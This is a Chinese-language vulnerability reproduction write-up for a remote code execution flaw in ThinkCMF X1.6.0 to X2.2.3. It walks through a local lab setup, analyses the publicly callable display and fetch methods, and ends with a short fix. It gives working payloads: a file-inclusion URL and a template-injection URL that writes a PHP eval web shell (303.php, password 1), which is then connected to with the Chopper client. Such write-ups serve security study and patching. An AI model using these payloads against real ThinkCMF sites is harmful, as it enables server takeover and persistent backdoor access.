'thinkcmf框架漏洞复现'
简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
漏洞描述
攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
环境搭建
ThinkCMF2.2.3
百度盘:链接:https://pan.baidu.com/s/1oCl3gAm3-RdNj2kHbTk3AA
提取码:0va4
phpstudy pro 自己去下载
将环境解压到www文件夹下
浏览器访问127.0.0.1/ThinkCMFX
出现此错误时,说明PHP版本太低,框架要求最低PHP5.5以上才可以
所以我们换个PHP版本
刷新页面恢复正常
点击下一步即可
数据库默认密码root,底下的管理员密码和邮箱随便设置
代码分析
问题代码文件在application下搜索HomebaseController
打开文件
这边有问题的是display函数和fetch函数:
display函数的作用是加载模板和页面输出,所对应的参数为:
templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。
templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,这里可以配合一处上传形成文件包含。最终形成的payload :
index.php?a=display&templateFile=README.md
getshell
这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。
fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。
利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可。
?a=fetch&templateFile=public/index&prefix=%27%27&content=
file_put_contents(%27test.php%27,%27%27)
1 | ?a=fetch&templateFile=''&prefix=''&content=<php>file_put_contents('303.php','<?php @eval($_POST[1]);?>')</php> |
页面为空,不用管它,直接访问303.php看是否存在
菜刀链接,密码为1
连接成功
修复方法
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected